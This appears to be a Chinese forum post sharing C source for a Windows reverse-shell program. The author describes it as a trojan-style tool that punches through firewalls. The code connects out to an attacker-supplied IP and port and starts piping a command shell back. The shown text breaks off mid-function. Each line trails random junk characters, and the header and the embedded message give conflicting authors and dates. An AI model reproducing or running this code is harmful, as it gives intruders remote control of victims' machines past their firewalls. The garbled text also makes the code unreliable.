这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t%=tik2|7
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/* ============================== ( a#BV}=
Rebound port in Windows NT k{-Cwo
By wind,2006/7 $=4QO
===============================*/ 9\7en%( M
#include C?eH]hkZ3
#include >z@0.pN]7
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#pragma comment(lib,"wsock32.lib") G4"F+%.
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void OutputShell(); \dah^mw"
SOCKET sClient; a\*yZlXKs
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =T7.~W
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void main(int argc,char **argv) _H@DLhH|=
{ m)v&v6
WSADATA stWsaData; 7@W>E;go
int nRet; o }m3y
SOCKADDR_IN stSaiClient,stSaiServer; r9?Mw06Wc5
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if(argc != 3) sRb9`u=)
{ TB31-
()
printf("Useage:\n\rRebound DestIP DestPort\n"); y?3;06y|
return; N8df8=.kw
} !j-Z Lq:;
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WSAStartup(MAKEWORD(2,2),&stWsaData); oQJtUP%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4CTi]E=H{
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stSaiClient.sin_family = AF_INET; 3Jn;}
stSaiClient.sin_port = htons(0); 8 LCb+^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v`T
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #KvlYZ+1
{ r<$y=B
printf("Bind Socket Failed!\n"); {_*yGK48n
return; E"IZ6)Q
} ~"A0Rs=
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stSaiServer.sin_family = AF_INET; {n=|Db~S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); eyxW 0}[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x4O~q0>:Le
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3OB"#Ap8<
{ lU]nd[x
printf("Connect Error!"); 4<v&S2Yq
return; x?<FJ"8"k
} FP>2C9:d
OutputShell(); NHE18_v5
} e' <)V_
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void OutputShell() ~.|_ RdN
{ vih9KBT
char szBuff[1024]; 4^d?D!j
SECURITY_ATTRIBUTES stSecurityAttributes; y1#1Ne_
OSVERSIONINFO stOsversionInfo; glw+l'@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T
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STARTUPINFO stStartupInfo; ),!qTjD
char *szShell; W@esITr
PROCESS_INFORMATION stProcessInformation; |':{lH6+1
unsigned long lBytesRead; qg$ <oL@~~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GA.8@3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `GLx#=Q
stSecurityAttributes.lpSecurityDescriptor = 0; eJX#@`K
stSecurityAttributes.bInheritHandle = TRUE; SS2%qv
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cH)";]k*-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e}W)LPR!
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